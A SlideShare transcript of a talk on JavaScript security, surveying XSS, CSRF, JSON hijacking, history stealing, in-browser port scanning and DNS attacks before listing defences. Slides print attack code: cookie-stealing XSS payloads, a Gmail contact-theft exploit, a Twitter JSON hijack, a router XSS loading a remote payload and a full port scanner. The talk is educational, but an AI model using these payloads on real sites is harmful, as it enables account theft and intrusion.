SlideShare ist ein Scribd-Unternehmen logo
1 von 41
JavaScript Security John Graham-Cumming
Living in a powder keg and giving off sparks JavaScript security is a mess The security model is outdated Key examples Attacking DNS to attack JavaScript What are we going to do?
The JavaScript Sandbox JavaScript security dates to 1995 Two key concerns: Stop a malicious web site from attacking your computer Stop a malicious web site from interacting with another web site
The Death of the PC If all your documents are in the cloud, what good is protecting your PC? The JavaScript sandbox does nothing to prevent cloud attacks Who cares if a web site is prevented from reading your “My Documents”: it’s empty
The Same Origin Policy Scripts running on one page can’t interact with other pages For example, scripts loaded by jgc.org can’t access virusbtn.com But the Same Origin Policy doesn’t apply to the scripts themselves
<SCRIPT> Inline<SCRIPT>   … do stuff …</SCRIPT> Remote<SCRIPT SRC=“http://jgc.org/foo.js”></SCRIPT>
Multiple <SCRIPT> elements Scripts get equal access to each other and the page they are loaded from<SCRIPT SRC=“http://google-analytics/ga.js”></SCRIPT><SCRIPT SRC=“http://co2stats.com/main.js”></SCRIPT>
JavaScript Global Object JavaScript is inherently a ‘global’ language Variables have global scope Functions have global scope Objects inherit from a global object
Bad stuff you can do globally Different scripts can mess with each other’s variables Different scripts can redefine each other’s functions Scripts can override native methods Transmit data anywhere Watch keystrokes Steal cookies All scripts run with equal authority
JavaScript is everywhere <SCRIPT> tags Inside HTML elements<a id=up_810112 onclick="return vote(this)" href="vote? for=810112&dir=up&by=jgrahamc&auth=3q4&whence=%6e%65%77%73"> Inside CSSbackground-color: expression( (new Date()).getHours()%2 ? "#B8D4FF" : "#F08A00" );background-image: url("javascript: testElement.style.color = '#00cc00';");
No mechanism for protecting JavaScript Signed JavaScript mechanism available in Netscape Communicator 4.x Remember that?
JavaScript Summary The security model is for the wrong threat The language itself has no security awareness Oh, and it’s the most important language for all web sites
Key attacks Cross-site scripting Cross-site Request Forgery JSON Hijacking JavaScript + CSS Sandbox Holes DNS Attacks
Cross-site Scripting (XSS) End user injects script via web form or URL which is then executed by other users Persistent: stored in database Reflected: usually in a URL Injected scripts have the same access as all other scripts
XSS Example: Twitter
XSS Example: MySpace JS/SpaceHero or Samy Worm Automatic friend requests<div style="background:url('javascript:alert(1)')">
XSS Example: PHPnuke Reflected attack Requires social engineeringhttp://www.phpnuke.org/user.php?op=userinfo&uname=<script>alert(document.cookie);</script>
Script Escalation Scripts can load other scripts Get a foothold and you can do anything<script id="external_script" type="text/JavaScript"></script><script>    document.getElementById('external_script').src = ’http://othersite.com/x.js’</script>
Cross-Site Request Forgery Hijack cookies to use a session for bad purposes<imgsrc="http://bank.example/withdraw?account=bob&amount=1000000&for=mallory"> Enhance with JavaScript for complex transactions.
CSRF Example: Google Mail Steal authenticated user’s contacthttp://docs.google.com/data/contacts?out=js&show=ALL&psort=Affinity&callback=google&max=99999google ({  Success: true,  Errors: [],  Body: {…
CSRF Example: Google Mail Full exploit<script type="text/javascript">function google(data){    var emails, i;    for (i = 0; i <data.Body.Contacts.length; i++) {        mails += "<li>" +data.Body.Contacts[i].Email + "";    }    document.write("<ol>" + emails + "</ol>");}</script><script type="text/javascript" src="http://docs.google.com/data/contacts?out=js&show=ALL&psort=Affinity&callback=google&max=99999"></script>
JSON Hijacking CSRF attack against JSON objects Works by redefined the Object constructor in JavaScript<script>function Object() { this.email setter = captureObject;}function captureObject(x) {…
JSON Hijacking Example: Twitter	 Could steal the friends’ timeline for a user<script>Object.prototype.__defineSetter__('user',function(obj){for(vari in obj) {alert(i + '=' + obj[i]);} });</script><script defer="defer" src=https://twitter.com/statuses/friends_timeline/></script>
Stealing history with JavaScript and CSS Use JavaScript to look at the ‘visited’ color of linksfunction stealHistory() {for (vari = 0; i < websites.length; i++) {varlink = document.createElement("a");link.id = "id" + i;link.href = websites[i];link.innerHTML = websites[i];document.body.appendChild(link);varcolor = document.defaultView.getComputedStyle(link,null).getPropertyValue("color");                document.body.removeChild(link);if (color == "rgb(0, 0, 255)") {document.write('' + websites[i] + '');}}}
Sandbox Holes Sandbox not immune to actual security holes Most recent was Google V8 JavaScript engineGoogle Chrome V8 JavaScript Engine Remote Code Execution VulnerabilityBugtraq: 36149
No Turing Test in JavaScript No way to distinguish between actual click by user and JavaScript click Can’t tell whether a user initiated an action or not
Attacking your home firewall XSS attack on BT Home Hub to use UPnP to open a porthttp://192.168.1.254/cgi/b/ic/connect/?url=%22%3e%3cscript%20src='http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub-5/payload.xss'%3e%3c/script%3e%3ca%20b=
Port scanning in JavaScript Port scan using imagesvarAttackAPI = { version: '0.1', author: 'PetkoPetkov (architect)', homepage: 'http://www.gnucitizen.org'};AttackAPI.PortScanner = {};AttackAPI.PortScanner.scanPort = function (callback, target, port, timeout) { var timeout = (timeout == null)?100:timeout; varimg = new Image();  img.onerror = function () {  if (!img) return;  img = undefined;  callback(target, port, 'open'); };  img.onload = img.onerror; img.src = 'http://' + target + ':' + port;  setTimeout(function () {  if (!img) return;  img = undefined;  callback(target, port, 'closed'); }, timeout);};AttackAPI.PortScanner.scanTarget = function (callback, target, ports, timeout){ for (index = 0; index < ports.length; index++)  AttackAPI.PortScanner.scanPort(callback, target, ports[index], timeout);};
DNS Attacks Attacks on DNS are real (Kaminsky et al.) If you can alter the DNS of one remote JavaScript you can take over the page For example, google-analytics.com is on 47% of the top 1,000 web sites. 69% of the top 1,000 load a web analytics solution remotely 97% load something remotely
Attacking TechCrunch
TechCrunch and JavaScript 18 remotely loaded JavaScripts mediaplex.com, scorecardresearch.com, quantserve.com, ixnp.com, doubleclick.net, googlesyndication.com, crunchboard.com, snap.com, tweetmeme.com, google-analytics.com Additional embedded <SCRIPT> tags Compromise one, you compromise the entire page
Load scripts via HTTPS to security?	 Tested all major browsers loading a remote script Scripts was from a site with an expired certificate for a different domain name
HTTPS won’t save you
What are we going to do? Sanitize user input (doh!) Don’t just rely on cookies for authentication Enforce safe subset of JavaScript  CAJA and Adsafe Tell people to run NoScript Deprecate JavaScript
Sanitize User Input; Escape Output It’s not hard! Yes, it is… Twitter recently blew it on the application name XSS hole UTF-7 encoding+ADw-script+AD4-alert(document.location)+ADw-/script+AD4- All versions of RoR vulnerable to Unicode decoding flaw Hard to get right with so many languages in the mix
Don’t just use cookies Don’t use GET for sensitive requests Use more than cookies in POST e.g. add a secret generated for that session to prevent simple CSRF attacks e.g. RoR has protect_from_forgery :secret => "123456789012345678901234567890..."
Safe JavaScript subsets Run all third-party code through Adsafe Restricts dangerous JavaScript methods and access to globals Or test code with Google CAJA Design to allow widgets to interact safely on pages like iGoogle
Causata’s small contribution jsHub: web-site tagging done right Open Source Secure One Tag to Serve Them All http://jshub.org/
NoScript Mozilla Firefox plug-in that allows fine grained control of which scripts can run on which pages An application firewall for JavaScript Advanced users only!
Deprecate JavaScript It’s not too late. Let’s start again with a language built for security and for the webRipley: I say we take off and nuke the entire site from orbit. It's the only way to be sure.Burke: Ho-ho-hold on, hold on one second. This installation has a substantial dollar value attached to it.Ripley: They can bill me.
Conclusion The combination of a move to the cloud and a 14 year old security environment scares me This problem has to be addressed Very hard for end-users to mitigate the risks

Weitere ähnliche Inhalte

Was ist angesagt?

Ekoparty 2017 - The Bug Hunter's Methodology
Ekoparty 2017 - The Bug Hunter's MethodologyEkoparty 2017 - The Bug Hunter's Methodology
Ekoparty 2017 - The Bug Hunter's Methodologybugcrowd
 
Neat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionNeat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionMikhail Egorov
 
Practical django secuirty
Practical django secuirtyPractical django secuirty
Practical django secuirtyAndy Dai
 
Integrity protection for third-party JavaScript
Integrity protection for third-party JavaScriptIntegrity protection for third-party JavaScript
Integrity protection for third-party JavaScriptFrancois Marier
 
Polyglot payloads in practice by avlidienbrunn at HackPra
Polyglot payloads in practice by avlidienbrunn at HackPraPolyglot payloads in practice by avlidienbrunn at HackPra
Polyglot payloads in practice by avlidienbrunn at HackPraMathias Karlsson
 
Django (Web Applications that are Secure by Default)
Django �(Web Applications that are Secure by Default�)Django �(Web Applications that are Secure by Default�)
Django (Web Applications that are Secure by Default)Kishor Kumar
 
Two scoops of Django - Security Best Practices
Two scoops of Django - Security Best PracticesTwo scoops of Django - Security Best Practices
Two scoops of Django - Security Best PracticesSpin Lai
 
Breaking AngularJS Javascript sandbox
Breaking AngularJS Javascript sandboxBreaking AngularJS Javascript sandbox
Breaking AngularJS Javascript sandboxMathias Karlsson
 
Web Application Security in front end
Web Application Security in front endWeb Application Security in front end
Web Application Security in front endErlend Oftedal
 
Defeating Cross-Site Scripting with Content Security Policy (updated)
Defeating Cross-Site Scripting with Content Security Policy (updated)Defeating Cross-Site Scripting with Content Security Policy (updated)
Defeating Cross-Site Scripting with Content Security Policy (updated)Francois Marier
 
(In)Security Implication in the JS Universe
(In)Security Implication in the JS Universe(In)Security Implication in the JS Universe
(In)Security Implication in the JS UniverseStefano Di Paola
 
Flash умер. Да здравствует Flash!
Flash умер. Да здравствует Flash!Flash умер. Да здравствует Flash!
Flash умер. Да здравствует Flash!Positive Hack Days
 
Xss is more than a simple threat
Xss is more than a simple threatXss is more than a simple threat
Xss is more than a simple threatAvădănei Andrei
 
MITM Attacks on HTTPS: Another Perspective
MITM Attacks on HTTPS: Another PerspectiveMITM Attacks on HTTPS: Another Perspective
MITM Attacks on HTTPS: Another PerspectiveGreenD0g
 
Preventing In-Browser Malicious Code Execution
Preventing In-Browser Malicious Code ExecutionPreventing In-Browser Malicious Code Execution
Preventing In-Browser Malicious Code ExecutionStefano Di Paola
 
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...bugcrowd
 
Web Security Horror Stories
Web Security Horror StoriesWeb Security Horror Stories
Web Security Horror StoriesSimon Willison
 
XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?Yurii Bilyk
 
New Methods in Automated XSS Detection & Dynamic Exploit Creation
New Methods in Automated XSS Detection & Dynamic Exploit CreationNew Methods in Automated XSS Detection & Dynamic Exploit Creation
New Methods in Automated XSS Detection & Dynamic Exploit CreationKen Belva
 

Was ist angesagt? (20)

Ekoparty 2017 - The Bug Hunter's Methodology
Ekoparty 2017 - The Bug Hunter's MethodologyEkoparty 2017 - The Bug Hunter's Methodology
Ekoparty 2017 - The Bug Hunter's Methodology
 
Neat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionNeat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protection
 
Practical django secuirty
Practical django secuirtyPractical django secuirty
Practical django secuirty
 
Integrity protection for third-party JavaScript
Integrity protection for third-party JavaScriptIntegrity protection for third-party JavaScript
Integrity protection for third-party JavaScript
 
Polyglot payloads in practice by avlidienbrunn at HackPra
Polyglot payloads in practice by avlidienbrunn at HackPraPolyglot payloads in practice by avlidienbrunn at HackPra
Polyglot payloads in practice by avlidienbrunn at HackPra
 
Django (Web Applications that are Secure by Default)
Django �(Web Applications that are Secure by Default�)Django �(Web Applications that are Secure by Default�)
Django (Web Applications that are Secure by Default)
 
Two scoops of Django - Security Best Practices
Two scoops of Django - Security Best PracticesTwo scoops of Django - Security Best Practices
Two scoops of Django - Security Best Practices
 
Breaking AngularJS Javascript sandbox
Breaking AngularJS Javascript sandboxBreaking AngularJS Javascript sandbox
Breaking AngularJS Javascript sandbox
 
Web Application Security in front end
Web Application Security in front endWeb Application Security in front end
Web Application Security in front end
 
Defeating Cross-Site Scripting with Content Security Policy (updated)
Defeating Cross-Site Scripting with Content Security Policy (updated)Defeating Cross-Site Scripting with Content Security Policy (updated)
Defeating Cross-Site Scripting with Content Security Policy (updated)
 
(In)Security Implication in the JS Universe
(In)Security Implication in the JS Universe(In)Security Implication in the JS Universe
(In)Security Implication in the JS Universe
 
Flash умер. Да здравствует Flash!
Flash умер. Да здравствует Flash!Flash умер. Да здравствует Flash!
Flash умер. Да здравствует Flash!
 
Xss is more than a simple threat
Xss is more than a simple threatXss is more than a simple threat
Xss is more than a simple threat
 
MITM Attacks on HTTPS: Another Perspective
MITM Attacks on HTTPS: Another PerspectiveMITM Attacks on HTTPS: Another Perspective
MITM Attacks on HTTPS: Another Perspective
 
Building Advanced XSS Vectors
Building Advanced XSS VectorsBuilding Advanced XSS Vectors
Building Advanced XSS Vectors
 
Preventing In-Browser Malicious Code Execution
Preventing In-Browser Malicious Code ExecutionPreventing In-Browser Malicious Code Execution
Preventing In-Browser Malicious Code Execution
 
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...
 
Web Security Horror Stories
Web Security Horror StoriesWeb Security Horror Stories
Web Security Horror Stories
 
XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?
 
New Methods in Automated XSS Detection & Dynamic Exploit Creation
New Methods in Automated XSS Detection & Dynamic Exploit CreationNew Methods in Automated XSS Detection & Dynamic Exploit Creation
New Methods in Automated XSS Detection & Dynamic Exploit Creation
 

Andere mochten auch

Einfangen eines technisch kaputten projektes
Einfangen eines technisch kaputten projektesEinfangen eines technisch kaputten projektes
Einfangen eines technisch kaputten projektesJohann-Peter Hartmann
 
Lügen, schlimme Lügen und IT-Verträge
Lügen, schlimme Lügen und IT-VerträgeLügen, schlimme Lügen und IT-Verträge
Lügen, schlimme Lügen und IT-VerträgeJohann-Peter Hartmann
 
Warum die it nicht um new work herumkommt
Warum die it nicht um new work herumkommtWarum die it nicht um new work herumkommt
Warum die it nicht um new work herumkommtJohann-Peter Hartmann
 
RoofTop Brains & BBQ: Ein Gästbuch für China
RoofTop Brains & BBQ: Ein Gästbuch für ChinaRoofTop Brains & BBQ: Ein Gästbuch für China
RoofTop Brains & BBQ: Ein Gästbuch für ChinaJohann-Peter Hartmann
 
Java script security for java developers
Java script security for java developersJava script security for java developers
Java script security for java developersJohann-Peter Hartmann
 
JavaScriptDays: vom 10 Tage Hack zur ersten Universalsprache?
JavaScriptDays: vom 10 Tage Hack zur ersten Universalsprache?JavaScriptDays: vom 10 Tage Hack zur ersten Universalsprache?
JavaScriptDays: vom 10 Tage Hack zur ersten Universalsprache?Johann-Peter Hartmann
 
How not to screw the operating system of your startup
How not to screw the operating system of your startupHow not to screw the operating system of your startup
How not to screw the operating system of your startupJohann-Peter Hartmann
 
Von Kutschern, Managern und Systemadministratoren
Von Kutschern, Managern und SystemadministratorenVon Kutschern, Managern und Systemadministratoren
Von Kutschern, Managern und SystemadministratorenJohann-Peter Hartmann
 

Andere mochten auch (20)

Wetware Bugs and Refactoring
Wetware Bugs and RefactoringWetware Bugs and Refactoring
Wetware Bugs and Refactoring
 
Agile versus Management WJAX 2014
Agile versus Management WJAX 2014Agile versus Management WJAX 2014
Agile versus Management WJAX 2014
 
Einfangen eines technisch kaputten projektes
Einfangen eines technisch kaputten projektesEinfangen eines technisch kaputten projektes
Einfangen eines technisch kaputten projektes
 
DevOps beyond the Tools
DevOps beyond the ToolsDevOps beyond the Tools
DevOps beyond the Tools
 
Reparier Deine Unternehmenskultur!
Reparier Deine Unternehmenskultur!Reparier Deine Unternehmenskultur!
Reparier Deine Unternehmenskultur!
 
Das Ende der Karriere
Das Ende der KarriereDas Ende der Karriere
Das Ende der Karriere
 
Die Architektur, die man kann
Die Architektur, die man kannDie Architektur, die man kann
Die Architektur, die man kann
 
Lügen, schlimme Lügen und IT-Verträge
Lügen, schlimme Lügen und IT-VerträgeLügen, schlimme Lügen und IT-Verträge
Lügen, schlimme Lügen und IT-Verträge
 
Warum die it nicht um new work herumkommt
Warum die it nicht um new work herumkommtWarum die it nicht um new work herumkommt
Warum die it nicht um new work herumkommt
 
JavaScript Security
JavaScript SecurityJavaScript Security
JavaScript Security
 
NewWork in der Praxis
NewWork in der PraxisNewWork in der Praxis
NewWork in der Praxis
 
RoofTop Brains & BBQ: Ein Gästbuch für China
RoofTop Brains & BBQ: Ein Gästbuch für ChinaRoofTop Brains & BBQ: Ein Gästbuch für China
RoofTop Brains & BBQ: Ein Gästbuch für China
 
Management brainfucks
Management brainfucksManagement brainfucks
Management brainfucks
 
Rewrites überleben
Rewrites überlebenRewrites überleben
Rewrites überleben
 
Java script security for java developers
Java script security for java developersJava script security for java developers
Java script security for java developers
 
Leadership in der IT
Leadership in der ITLeadership in der IT
Leadership in der IT
 
JavaScriptDays: vom 10 Tage Hack zur ersten Universalsprache?
JavaScriptDays: vom 10 Tage Hack zur ersten Universalsprache?JavaScriptDays: vom 10 Tage Hack zur ersten Universalsprache?
JavaScriptDays: vom 10 Tage Hack zur ersten Universalsprache?
 
DevOps jenseits der Tools
DevOps jenseits der ToolsDevOps jenseits der Tools
DevOps jenseits der Tools
 
How not to screw the operating system of your startup
How not to screw the operating system of your startupHow not to screw the operating system of your startup
How not to screw the operating system of your startup
 
Von Kutschern, Managern und Systemadministratoren
Von Kutschern, Managern und SystemadministratorenVon Kutschern, Managern und Systemadministratoren
Von Kutschern, Managern und Systemadministratoren
 

Ähnlich wie JavaScript Security Issues and Attacks

Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008abhijitapatil
 
Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Amit Tyagi
 
Application Security for RIAs
Application Security for RIAsApplication Security for RIAs
Application Security for RIAsjohnwilander
 
Writing Secure Code – Threat Defense
Writing Secure Code – Threat DefenseWriting Secure Code – Threat Defense
Writing Secure Code – Threat Defenseamiable_indian
 
Intro to Web Application Security
Intro to Web Application SecurityIntro to Web Application Security
Intro to Web Application SecurityRob Ragan
 
Rich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeRich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeJeremiah Grossman
 
Java Web Security Class
Java Web Security ClassJava Web Security Class
Java Web Security ClassRich Helton
 
Insecurity-In-Security version.1 (2010)
Insecurity-In-Security version.1 (2010)Insecurity-In-Security version.1 (2010)
Insecurity-In-Security version.1 (2010)Abhishek Kumar
 
Hacking Client Side Insecurities
Hacking Client Side InsecuritiesHacking Client Side Insecurities
Hacking Client Side Insecuritiesamiable_indian
 
Application Security for Rich Internet Applicationss (Jfokus 2012)
Application Security for Rich Internet Applicationss (Jfokus 2012)Application Security for Rich Internet Applicationss (Jfokus 2012)
Application Security for Rich Internet Applicationss (Jfokus 2012)johnwilander
 
XSS Without Browser
XSS Without BrowserXSS Without Browser
XSS Without Browserkosborn
 
Drupal Camp Atlanta 2011 - Drupal Security
Drupal Camp Atlanta 2011 - Drupal SecurityDrupal Camp Atlanta 2011 - Drupal Security
Drupal Camp Atlanta 2011 - Drupal SecurityMediacurrent
 
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...CODE BLUE
 
Waf.js: How to Protect Web Applications using JavaScript
Waf.js: How to Protect Web Applications using JavaScriptWaf.js: How to Protect Web Applications using JavaScript
Waf.js: How to Protect Web Applications using JavaScriptDenis Kolegov
 
W3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesBrad Hill
 
bh-usa-07-grossman-WP.pdf
bh-usa-07-grossman-WP.pdfbh-usa-07-grossman-WP.pdf
bh-usa-07-grossman-WP.pdfcyberhacker7
 

Ähnlich wie JavaScript Security Issues and Attacks (20)

Xss is more than a simple threat
Xss is more than a simple threatXss is more than a simple threat
Xss is more than a simple threat
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008
 
Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)
 
Application Security for RIAs
Application Security for RIAsApplication Security for RIAs
Application Security for RIAs
 
Writing Secure Code – Threat Defense
Writing Secure Code – Threat DefenseWriting Secure Code – Threat Defense
Writing Secure Code – Threat Defense
 
Intro to Web Application Security
Intro to Web Application SecurityIntro to Web Application Security
Intro to Web Application Security
 
Rich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeRich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safe
 
Owasp top 10 2013
Owasp top 10 2013Owasp top 10 2013
Owasp top 10 2013
 
Java Web Security Class
Java Web Security ClassJava Web Security Class
Java Web Security Class
 
Insecurity-In-Security version.1 (2010)
Insecurity-In-Security version.1 (2010)Insecurity-In-Security version.1 (2010)
Insecurity-In-Security version.1 (2010)
 
Hacking Client Side Insecurities
Hacking Client Side InsecuritiesHacking Client Side Insecurities
Hacking Client Side Insecurities
 
Application Security for Rich Internet Applicationss (Jfokus 2012)
Application Security for Rich Internet Applicationss (Jfokus 2012)Application Security for Rich Internet Applicationss (Jfokus 2012)
Application Security for Rich Internet Applicationss (Jfokus 2012)
 
XSS Without Browser
XSS Without BrowserXSS Without Browser
XSS Without Browser
 
Drupal Camp Atlanta 2011 - Drupal Security
Drupal Camp Atlanta 2011 - Drupal SecurityDrupal Camp Atlanta 2011 - Drupal Security
Drupal Camp Atlanta 2011 - Drupal Security
 
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
 
Waf.js: How to Protect Web Applications using JavaScript
Waf.js: How to Protect Web Applications using JavaScriptWaf.js: How to Protect Web Applications using JavaScript
Waf.js: How to Protect Web Applications using JavaScript
 
Sembang2 Keselamatan It 2004
Sembang2 Keselamatan It 2004Sembang2 Keselamatan It 2004
Sembang2 Keselamatan It 2004
 
W3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realities
 
PHPUG Presentation
PHPUG PresentationPHPUG Presentation
PHPUG Presentation
 
bh-usa-07-grossman-WP.pdf
bh-usa-07-grossman-WP.pdfbh-usa-07-grossman-WP.pdf
bh-usa-07-grossman-WP.pdf
 

Mehr von jgrahamc

Better living through microcontrollers
Better living through microcontrollersBetter living through microcontrollers
Better living through microcontrollersjgrahamc
 
Big O London Meetup April 2015
Big O London Meetup April 2015Big O London Meetup April 2015
Big O London Meetup April 2015jgrahamc
 
Go Containers
Go ContainersGo Containers
Go Containersjgrahamc
 
How to launch and defend against a DDoS
How to launch and defend against a DDoSHow to launch and defend against a DDoS
How to launch and defend against a DDoSjgrahamc
 
Lua: the world's most infuriating language
Lua: the world's most infuriating languageLua: the world's most infuriating language
Lua: the world's most infuriating languagejgrahamc
 
Software Debugging for High-altitude Balloons
Software Debugging for High-altitude BalloonsSoftware Debugging for High-altitude Balloons
Software Debugging for High-altitude Balloonsjgrahamc
 
Highlights of Go 1.1
Highlights of Go 1.1Highlights of Go 1.1
Highlights of Go 1.1jgrahamc
 
Go Concurrency
Go ConcurrencyGo Concurrency
Go Concurrencyjgrahamc
 
That'll never work!
That'll never work!That'll never work!
That'll never work!jgrahamc
 
HAB Software Woes
HAB Software WoesHAB Software Woes
HAB Software Woesjgrahamc
 

Mehr von jgrahamc (11)

Better living through microcontrollers
Better living through microcontrollersBetter living through microcontrollers
Better living through microcontrollers
 
Big O London Meetup April 2015
Big O London Meetup April 2015Big O London Meetup April 2015
Big O London Meetup April 2015
 
Go Containers
Go ContainersGo Containers
Go Containers
 
How to launch and defend against a DDoS
How to launch and defend against a DDoSHow to launch and defend against a DDoS
How to launch and defend against a DDoS
 
Lua: the world's most infuriating language
Lua: the world's most infuriating languageLua: the world's most infuriating language
Lua: the world's most infuriating language
 
Software Debugging for High-altitude Balloons
Software Debugging for High-altitude BalloonsSoftware Debugging for High-altitude Balloons
Software Debugging for High-altitude Balloons
 
Go memory
Go memoryGo memory
Go memory
 
Highlights of Go 1.1
Highlights of Go 1.1Highlights of Go 1.1
Highlights of Go 1.1
 
Go Concurrency
Go ConcurrencyGo Concurrency
Go Concurrency
 
That'll never work!
That'll never work!That'll never work!
That'll never work!
 
HAB Software Woes
HAB Software WoesHAB Software Woes
HAB Software Woes
 

Kürzlich hochgeladen

SAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxSAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxNavinnSomaal
 
AI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsAI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsMemoori
 
Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsRizwan Syed
 
Powerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time ClashPowerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time Clashcharlottematthew16
 
WordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your BrandWordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your Brandgvaughan
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Scott Keck-Warren
 
What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024Stephanie Beckett
 
Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Enterprise Knowledge
 
Commit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyCommit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyAlfredo García Lavilla
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenHervé Boutemy
 
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Patryk Bandurski
 
Training state-of-the-art general text embedding
Training state-of-the-art general text embeddingTraining state-of-the-art general text embedding
Training state-of-the-art general text embeddingZilliz
 
Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 3652toLead Limited
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationRidwan Fadjar
 
Vertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsVertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsMiki Katsuragi
 
Story boards and shot lists for my a level piece
Story boards and shot lists for my a level pieceStory boards and shot lists for my a level piece
Story boards and shot lists for my a level piececharlottematthew16
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024BookNet Canada
 
Unraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfUnraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfAlex Barbosa Coqueiro
 
Dev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebDev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebUiPathCommunity
 

Kürzlich hochgeladen (20)

SAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxSAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptx
 
AI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsAI as an Interface for Commercial Buildings
AI as an Interface for Commercial Buildings
 
Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL Certs
 
Powerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time ClashPowerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time Clash
 
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptxE-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
